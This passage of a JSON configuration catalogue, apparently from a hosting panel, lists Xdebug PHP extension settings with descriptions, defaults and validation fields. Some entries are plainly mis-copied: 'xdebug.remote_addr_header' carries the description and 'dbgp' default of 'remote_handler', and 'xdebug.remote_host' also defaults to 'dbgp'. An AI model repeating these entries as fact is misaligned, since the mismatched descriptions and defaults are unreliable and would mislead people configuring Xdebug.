                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.collect_return": {
                "shortDescription": "This setting, defaulting to 0, controls whether Xdebug should write the return value of function calls to the trace files.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.collect_vars": {
                "shortDescription": "This setting tells Xdebug to gather information about which variables are used in a certain scope. ",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.coverage_enable": {
                "shortDescription": "If this setting is set to 0, then Xdebug will not set-up internal structures to allow code coverage.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.default_enable": {
                "shortDescription": "If this setting is 1, then stacktraces will be shown by default on an error event.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.dump.COOKIE": {
                "shortDescription": "These settings controls which data from the COOKIE superglobal is shown when an error situation occurs.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "\/^[\\S]*$\/",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.dump.FILES": {
                "shortDescription": "These settings controls which data from the FILES superglobal is shown when an error situation occurs.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "\/^[\\S]*$\/",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.dump.GET": {
                "shortDescription": "These settings controls which data from the GET superglobal is shown when an error situation occurs.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "\/^[\\S]*$\/",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.dump.POST": {
                "shortDescription": "These settings controls which data from the POST superglobal is shown when an error situation occurs.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "\/^[\\S]*$\/",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.dump.REQUEST": {
                "shortDescription": "These settings controls which data from the REQUEST superglobal is shown when an error situation occurs.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "\/^[\\S]*$\/",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.dump.SERVER": {
                "shortDescription": "These settings controls which data from the SERVER superglobal is shown when an error situation occurs.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "\/^[\\S]*$\/",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.dump.SESSION": {
                "shortDescription": "These settings controls which data from the SESSION superglobal is shown when an error situation occurs.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "\/^[\\S]*$\/",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.dump.ENV": {
                "shortDescription": "These settings controls which data from the ENVIRONMENT superglobal is shown when an error situation occurs.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "\/^[\\S]*$\/",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.dump_globals": {
                "shortDescription": "Controls whether the values of the superglobals as defined by the xdebug.dump.* settings whould be shown or not.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.dump_once": {
                "shortDescription": "Controls whether the values of the superglobals should be dumped on all error situations (set to 0) or only on the first (set to 1).",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.dump_undefined": {
                "shortDescription": "If you want to dump undefined values from the superglobals you should set this setting to 1, otherwise leave it set to 0.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.extended_info": {
                "shortDescription": "Controls whether Xdebug should enforce 'extended_info' mode for the PHP parser",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.file_link_format": {
                "shortDescription": "This setting determines the format of the links that are made in the display of stack traces where file names are used.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.force_display_errors": {
                "shortDescription": "If this setting is set to 1 then errors will always be displayed, no matter what the setting of PHP's display_errors is.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.force_error_reporting": {
                "shortDescription": "This setting is a bitmask, like error_reporting. This bitmask will be logically ORed with the bitmask represented by error_reporting to dermine which errors should be displayed.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.halt_level": {
                "shortDescription": "This setting allows you to configure a mask that determines whether, and which, notices andor warnings get converted to errors. You can configure notices and warnings that are generated by PHP, and notices and warnings that you generate yourself (by means of trigger_error()).",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.idekey": {
                "shortDescription": "Controls which IDE Key Xdebug should pass on to the DBGp debugger handler. The default is based on environment settings. First the environment setting DBGP_IDEKEY is consulted, then USER and as last USERNAME.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.max_nesting_level": {
                "shortDescription": "Controls the protection mechanism for infinite recursion protection. The value of this setting is the maximum level of nested functions that are allowed before the script will be aborted.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "256"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.max_stack_frames": {
                "shortDescription": "Controls the XDebug maximal stack frames.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "-1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.overload_var_dump": {
                "shortDescription": "By default Xdebug overloads var_dump() with its own improved version for displaying variables when the html_errors php.ini setting is set to 1. In case you do not want that, you can set this setting to 0, but check first if it's not smarter to turn off html_errors.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.profiler_aggregate": {
                "shortDescription": "When this setting is set to 1, a single profiler file will be written for multiple requests. One can surf to multiple pages or reload a page to get an \"average\" across all requests. The file will be named .cachegrind.aggregate You will need to move this file to get another round of aggregate data.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.profiler_enable": {
                "shortDescription": "Enables Xdebug's profiler which creates files in the profile output directory. Those files can be read by KCacheGrind to visualize your data. This setting can not be set in your script with ini_set(). If you want to selectively enable the profiler, please set xdebug.profiler_enable_trigger to 1 instead of using this setting.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.profiler_enable_trigger": {
                "shortDescription": "When this setting is set to 1, you can trigger the generation of profiler files by using the XDEBUG_PROFILE GET\/POST parameter, or set a cookie with the name XDEBUG_PROFILE. This will then write the profiler data to defined directory. In order to prevent the profiler to generate profile files for each request, you need to set xdebug.profiler_enable to 0.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.profiler_enable_trigger_value": {
                "shortDescription": "This setting can be used to restrict who can make use of the XDEBUG_PROFILE functionality as outlined in xdebug.profiler_enable_trigger. When changed from its default value of an empty string, the value of the cookie, GET or POST argument needs to match the shared secret set with this setting in order for the profiler to start.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.profiler_output_dir": {
                "shortDescription": "The directory where the profiler output will be written to, make sure that the user who the PHP will be running as has write permissions to that directory. This setting can not be set in your script with ini_set()",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.profiler_output_name": {
                "shortDescription": "This setting determines the name of the file that is used to dump traces into. The setting specifies the format with format specifiers, very similar to sprintf() and strftime(). There are several format specifiers that can be used to format the file name.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.remote_addr_header": {
                "shortDescription": "Can be either 'php3' which selects the old PHP 3 style debugger output, 'gdb' which enables the GDB like debugger interface or 'dbgp' - the debugger protocol. The DBGp protocol is the only supported protocol.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "dbgp"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.remote_autostart": {
                "shortDescription": "Normally you need to use a specific HTTP GET\/POST variable to start remote debugging (see Remote Debugging). When this setting is set to 1, Xdebug will always attempt to start a remote debugging session and try to connect to a client, even if the GET\/POST\/COOKIE variable was not present.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.remote_connect_back": {
                "shortDescription": "If enabled, the xdebug.remote_host setting is ignored and Xdebug will try to connect to the client that made the HTTP request. It checks the $_SERVER['REMOTE_ADDR'] variable to find out which IP address to use. Please note that there is no filter available, and anybody who can connect to the webserver will then be able to start a debugging session, even if their address does not match xdebug.remote_host.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.remote_cookie_expire_time": {
                "shortDescription": "This setting can be used to increase (or decrease) the time that the remote debugging session stays alive via the session cookie.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "3600"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.remote_enable": {
                "shortDescription": "This switch controls whether Xdebug should try to contact a debug client which is listening on the host and port as set with the settings xdebug.remote_host and xdebug.remote_port. If a connection can not be established the script will just continue as if this setting was 0.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.remote_host": {
                "shortDescription": "Selects the host where the debug client is running, you can either use a host name or an IP address. This setting is ignored if xdebug.remote_connect_back is enabled.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "dbgp"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.remote_log": {
                "shortDescription": "If set to a value, it is used as filename to a file to which all remote debugger communications are logged. The file is always opened in append-mode, and will therefore not be overwritten by default. There is no concurrency protection available.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.remote_port": {
                "shortDescription": "The port to which Xdebug tries to connect on the remote host. Port 9000 is the default for both the client and the bundled debugclient. As many clients use this port number, it is best to leave this setting unchanged.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "9000"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.scream": {
                "shortDescription": "If this setting is 1, then Xdebug will disable the @ (shut-up) operator so that notices, warnings and errors are no longer hidden.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.show_error_trace": {
                "shortDescription": "Setting to allow\/disallow to show a stack trace for every Error (throwable)",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.show_exception_trace": {
                "shortDescription": "When this setting is set to 1, Xdebug will show a stack trace whenever an exception is raised - even if this exception is actually caught.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.show_local_vars": {
                "shortDescription": "When this setting is set to something != 0 Xdebug's generated stack dumps in error situations will also show all variables in the top-most scope. Beware that this might generate a lot of information, and is therefore turned off by default.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.show_mem_delta": {
                "shortDescription": "When this setting is set to something != 0 Xdebug's human-readable generated trace files will show the difference in memory usage between function calls. If Xdebug is configured to generate computer-readable trace files then they will always show this information.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.trace_enable_trigger": {
                "shortDescription": "When this setting is set to 1, you can trigger the generation of trace files by using the XDEBUG_TRACE GET\/POST parameter, or set a cookie with the name XDEBUG_TRACE. This will then write the trace data to defined directory. In order to prevent Xdebug to generate trace files for each request, you need to set xdebug.auto_trace to 0.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.trace_enable_trigger_value": {
                "shortDescription": "This setting can be used to restrict who can make use of the XDEBUG_TRACE functionality as outlined in xdebug.trace_enable_trigger. When changed from its default value of an empty string, the value of the cookie, GET or POST argument needs to match the shared secret set with this setting in order for the trace file to be generated.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.trace_format": {
                "shortDescription": "The format of the trace file.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.trace_options": {
                "shortDescription": "When set to '1' the trace files will be appended to, instead of being overwritten in subsequent requests.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.trace_output_dir": {
                "shortDescription": "The directory where the tracing files will be written to, make sure that the user who the PHP will be running as has write permissions to that directory.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.trace_output_name": {
                "shortDescription": "This setting determines the name of the file that is used to dump traces into. The setting specifies the format with format specifiers, very similar to sprintf() and strftime(). There are several format specifiers that can be used to format the file name. The '.xt' extension is always added automatically.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.var_display_max_children": {
                "shortDescription": "Controls the amount of array children and object's properties are shown when variables are displayed with either xdebug_var_dump(), xdebug.show_local_vars or through Function Traces. To disable any limitation, use -1 as value",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "128"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.var_display_max_data": {
                "shortDescription": "Controls the maximum string length that is shown when variables are displayed with either xdebug_var_dump(), xdebug.show_local_vars or through Function Traces. To disable any limitation, use -1 as value",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "512"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.var_display_max_depth": {
                "shortDescription": "Controls how many nested levels of array elements and object properties are when variables are displayed with either xdebug_var_dump(), xdebug.show_local_vars or through Function Traces. The maximum value you can select is 1023. You can also use -1 as value to select this maximum number.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "3"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.profiler_append": {
                "shortDescription": "When this setting is set to 1, profiler files will not be overwritten when a new request would map to the same file (depnding on the xdebug.profiler_output_name setting. Instead the file will be appended to with the new profile.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.remote_mode": {
                "shortDescription": "Selects when a debug connection is initiated.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "req"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.remote_handler": {
                "shortDescription": "Can be either 'php3' which selects the old PHP 3 style debugger output, 'gdb' which enables the GDB like debugger interface or 'dbgp' - the debugger protocol. The DBGp protocol is the only supported protocol.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "dbgp"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "xdiff": {
        "name": "xdiff",
        "extensionId": "xdiff",
        "isDaemon": 0,
